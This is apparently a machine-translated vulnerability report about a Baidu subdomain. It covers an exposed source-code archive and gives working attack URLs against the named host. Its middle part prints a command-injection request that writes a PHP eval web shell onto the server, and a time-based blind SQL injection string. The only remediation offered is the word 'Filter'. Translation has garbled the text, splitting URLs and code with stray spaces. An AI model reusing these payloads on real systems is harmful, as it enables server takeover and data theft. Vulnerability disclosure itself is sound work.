A source code leakage from Baidu may cause shell

A source code leakage from Baidu may cause shell

The artifact detects an operation error. Let's guess later...

Url: http://ge.baidu.com/wse.tar

Date: Sat, 28 Feb 2015 03:48:39 GMT

Server: Apache

Content-Location: wse.tar.gz

Vary: negotiate, Accept-Encoding, User-Agent

TCN: choice

Last-Modified: Fri, 21 Nov 2014 10:15:06 GMT

ETag: "a4006-524cbc4c-5085bb805fe80; 5085bb3044180"

Accept-Ranges: bytes

Content-Length: 1380760652

Connection: close

Content-Type: application/x-gzip



The package is relatively large, but it is downloaded.

After a simple audit, we found many problems.

You can run the command directly.



Command Execution:

Http://ge.baidu.com/index.php/wse/callBack/DiffReCrawlCallBack? Evaluation_id = 7072 & taskId = 7993 & diff_num = 1; echo % 20xxx % 27% 3C? Php % 20 eval % 28 $ _ POST [c] % 29 ;? % 3E % 27% 20% 3E % 20/home/work/wse-platform/bin/wse/x. php; echo % 201% 23



The two IDs above are only status! = 2 or 3.



This can be obtained through injection.



One of the injection points is:

Http://ge.baidu.com/index.php/wse/patchPageShow/contEvalPageShow? Evaluation_id = 111 & label_env_id = 111 & query_name = aaa % 27or % 201 = 1% 20 limit % 201% 23



This is time blind note.

There are many program problems. You can fix it in depth.

 

 

 

Solution:

Filter